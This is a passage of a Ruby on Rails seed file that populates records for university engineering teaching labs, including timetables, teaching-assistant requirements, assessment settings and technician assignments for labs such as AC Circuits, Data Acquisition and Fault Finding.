10, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 120, takedown_time: 180, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a262.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y8rsrucr\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a262.id).first_or_create!(criteria: \"Some knowledge of the behaviour of fluids in shear (rheology) would be beneficial.\",\n job_desc:\"Playing with cornflour and water.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a262.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a262.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a262.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a263 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER123\").first.id, code: \"100\").first_or_create!(name: \"AC Circuits\",\n name_abrv: \"ACC\", archived: false, in_drive: false, user_id: 1)\n at263 = ActivityTimetable.where(activity_id: a263.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a263.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"AC Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a263.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a263.id).first_or_create!(assess_weight: 14.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a263.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a263.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a264 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE218\").first.id, code: \"100\").first_or_create!(name: \"AC Circuits\",\n name_abrv: \"ACC\", archived: false, in_drive: false, user_id: 2)\n at264 = ActivityTimetable.where(activity_id: a264.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a264.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"AC Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a264.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a264.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a264.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a264.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a265 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"100\").first_or_create!(name: \"AC Circuits\",\n name_abrv: \"ACC\", archived: false, in_drive: false, user_id: 2)\n at265 = ActivityTimetable.where(activity_id: a265.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a265.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"AC Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a265.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a265.id).first_or_create!(assess_weight: 14.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a265.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n\n\n a266 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER123\").first.id, code: \"101\").first_or_create!(name: \"AC Circuits Exam\",\n name_abrv: \"ACEXAM\", archived: true, in_drive: false, user_id: 4)\n at266 = ActivityTimetable.where(activity_id: a266.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a266.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"N/A\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a266.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a266.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a266.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a266.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a267 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"10\").first_or_create!(name: \"AC Circuits Exam\",\n name_abrv: \"ACEXAM\", archived: true, in_drive: false, user_id: 3)\n at267 = ActivityTimetable.where(activity_id: a267.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a267.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"N/A\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a267.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a267.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a267.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n\n\n a268 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"102\").first_or_create!(name: \"Amplifiers and Probes\",\n name_abrv: \"AMP1\", archived: false, in_drive: false, user_id: 1)\n at268 = ActivityTimetable.where(activity_id: a268.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a268.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Amplifiers\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a268.id).first_or_create!(criteria: \"Must be confident in independently using oscilloscopes and signal generators\n Must be confident with analogue electronic circuits for small AC signals using amplifiers (op-amps and BJTs)\n Must be confident measuring rise times and phase shifts, and exploring the effect of feedback on amplifier circuits\n Must be confident soldering in difficult conditions\",\n job_desc:\"Help students to make advanced oscilloscope measurements, using averaging and good technique to measure small ac voltage signals\n Assist students in calculating the effects of cables and probes on measurements that they make\n Ensure students calibrate oscilloscope probes before taking measurements, and explain how the calibration process works\n Assist students in processing measured values, with an appreciataion of the experimental errrors involved\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a268.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a268.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a268.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a269 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"PHY392\").first.id, code: \"103\").first_or_create!(name: \"Arduino\",\n name_abrv: \"ARDUINO\", archived: false, in_drive: false, user_id: 1)\n at269 = ActivityTimetable.where(activity_id: a269.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a269.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a269.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a269.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a269.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a269.id, programme_id: $prog_phy.id).first_or_create!\n\n\n a270 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"105\").first_or_create!(name: \"Circuit Simulation using SPICE\",\n name_abrv: \"CSS\", archived: false, in_drive: false, user_id: 2)\n at270 = ActivityTimetable.where(activity_id: a270.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 4, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"210 minutes x 2 sessions\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a270.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"SPICE\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a270.id).first_or_create!(criteria: \"Must be familiar with LTSpice simulation package\n Must be able to troubleshoot problems with students' simulations\n Must have knowledge of basic electronic circuits\",\n job_desc:\"Help students create simulations of analogue circuits using LTSpice software\n Debug issues with student code to ensure simulations run correctly\n Help students interpret measurements made in simulation and advice on how to use DC and AC simulation analysis for future experiments\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a270.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a270.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a270.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a271 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"106\").first_or_create!(name: \"Control of Motors\",\n name_abrv: \"SERVO\", archived: false, in_drive: false, user_id: 2)\n at271 = ActivityTimetable.where(activity_id: a271.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 11, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"As close as possible to other machines labs (220, 224, 228) - each student should do each on on a consecutive week, rather than getting all students through one lab, then the next lab etc.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a271.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a271.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a271.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a271.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a271.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a272 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"106\").first_or_create!(name: \"Control of Motors\",\n name_abrv: \"SERVO\", archived: false, in_drive: false, user_id: 3)\n at272 = ActivityTimetable.where(activity_id: a272.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a272.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a272.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a272.id).first_or_create!(assess_weight: nil, notes: \"Marked lab sheets\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a272.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a272.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a273 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER107\").first.id, code: \"107\").first_or_create!(name: \"Data Acquisition\",\n name_abrv: \"DAQ1\", archived: false, in_drive: false, user_id: 1)\n at273 = ActivityTimetable.where(activity_id: a273.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a273.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"Data Acqusition\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a273.id).first_or_create!(criteria: \"Must have experience in using LabView\n Must be able to troubleshoot and debug problems with students' LabVIEW code\n Must have experience constructing sensor circuits on a breadboard\",\n job_desc:\"Assist students with a series of exercises developing their skills in writing LabVIEW code\n Debug and troubleshoot student code issues\n Help students understand the construction of LabVIEW programmes following good data acquisition practice\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a273.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a273.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a273.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a274 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"107\").first_or_create!(name: \"Data Acquisition\",\n name_abrv: \"DAQ1\", archived: true, in_drive: false, user_id: 3)\n at274 = ActivityTimetable.where(activity_id: a274.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a274.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Data Acqusition\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a274.id).first_or_create!(criteria: \"Must have experience in using LabView\n Must be able to troubleshoot and debug problems with students' LabVIEW code\n Must have experience constructing sensor circuits on a breadboard\",\n job_desc:\"Assist students with a series of exercises developing their skills in writing LabVIEW code\n Debug and troubleshoot student code issues\n Help students understand the construction of LabVIEW programmes following good data acquisition practice\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a274.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a274.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a274.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a275 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR131\").first.id, code: \"108\").first_or_create!(name: \"DC Circuits\",\n name_abrv: \"DCC\", archived: false, in_drive: false, user_id: 4)\n at275 = ActivityTimetable.where(activity_id: a275.id).first_or_create!(duration: 180, kit_prep_time: 1400, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"\",\n capacity: 140, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a275.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a275.id).first_or_create!(criteria: \"Must be experienced building circuits on breadboards\n Must be able to use power supplies, multimeters and oscilloscopes to make measurements on circuits\n Must be able to apply Ohms Law\n Ideally familiar with DC circuit analysis e.g. node and loop analysis, and application of Kirchoff's laws\",\n job_desc:\"Help students to construct passive networks of resistors on a breadboard\n Students should bring circuit analysis with them of current/voltage (from node/loop analysis etc.) - help them check their theoretical calculations against experimental measurements\n Help students use oscilloscopes, multimeters and power supplies to measure basic DC levels.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a275.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a275.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a275.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a276 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE119\").first.id, code: \"109\").first_or_create!(name: \"Digital Logic Circuits\",\n name_abrv: \"DLC\", archived: false, in_drive: false, user_id: 1)\n at276 = ActivityTimetable.where(activity_id: a276.id).first_or_create!(duration: 210, kit_prep_time: 120, min_week_num: 6, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"210 minutes x 2 sessions\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a276.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Digital\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a276.id).first_or_create!(criteria: \"Must be experienced and familiar with Xilinx ISE environment\n Must be experienced in Verilog code and able to debug student code in-lab\n Must have experience with FPGA hardware\",\n job_desc:\"Assist students using Xilinx software and hardware\n Help students design and implement a 2 bit adder in software using Verilog code\n Troubleshoot problems in downloading firmware to an FPGA board and simulating the performance of the hardware.\n Guide students to attempt an advanced task of creating a 4 bit adder using multiplexers.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a276.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a276.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a276.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a277 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"unknowncode8\").first_or_create!(name: \"EDanger\",\n name_abrv: \"eDGR\", archived: false, in_drive: false, user_id: 3)\n at277 = ActivityTimetable.where(activity_id: a277.id).first_or_create!(duration: 120, kit_prep_time: 60, min_week_num: 1, max_week_num: 2, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 90, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a277.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"eDanger\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a277.id).first_or_create!(criteria: \"Must have an understanding of risk assessment to be able to check students' written work in the lab. Must be able to check student experimental setups and confidently intervene in student experiments if required.\",\n job_desc:\"Review risk assessments performed by the students prior to the lab and check that sensible work has been produced.\n Oversee a hazardous experiment being performed and ensure student safety by proactively intervening where necessary.\n Discuss the experiment with students to ensure they have understood the importance of risk assessment and of frequently reviewing and updating the risk assessments.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a277.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a277.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n\n\n a278 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"112\").first_or_create!(name: \"Fault Finding\",\n name_abrv: \"FFIND\", archived: false, in_drive: false, user_id: 1)\n at278 = ActivityTimetable.where(activity_id: a278.id).first_or_create!(duration: 210, kit_prep_time: 360, min_week_num: 1, max_week_num: 4, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 30, notes: \"This must come before ICP (ideally immediately before)\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a278.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Fault Finding\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a278.id).first_or_create!(criteria: \"Must be capable of independently using an oscilloscope, multimeter and signal generator\n Must be familar with analogue electronics and constructing circuits on a PCB\n Must be skilled in soldering and testing circuit designs\n Must be confident troubleshooting analogue circuits constructed by students\",\n job_desc:\"Help students find faults on a pre-populated PCB\n Remind students how to calculate the resonant frequency of RLC circuits and how to calculate bandwidth and Q factor\n Assist students with AC and DC circuit analysis using an oscilloscope and multimeter\n Demonstrate desoldering with attention to detail\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a278.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a278.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a278.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a279 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"113\").first_or_create!(name: \"Frequency Dependent Measurements\",\n name_abrv: \"WS3\", archived: false, in_drive: false, user_id: 4)\n at279 = ActivityTimetable.where(activity_id: a279.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 3, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"Must be before Passive Networks\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a279.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Black Box\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a279.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL)\n Must be confident in graph plotting and data analysis in-lab\",\n job_desc:\"Assist students constructing series circuits using boxes containing unknown components.\n Help students use signal generators and oscilloscopes to make voltage measurements across a range of frequencies and plot the data by 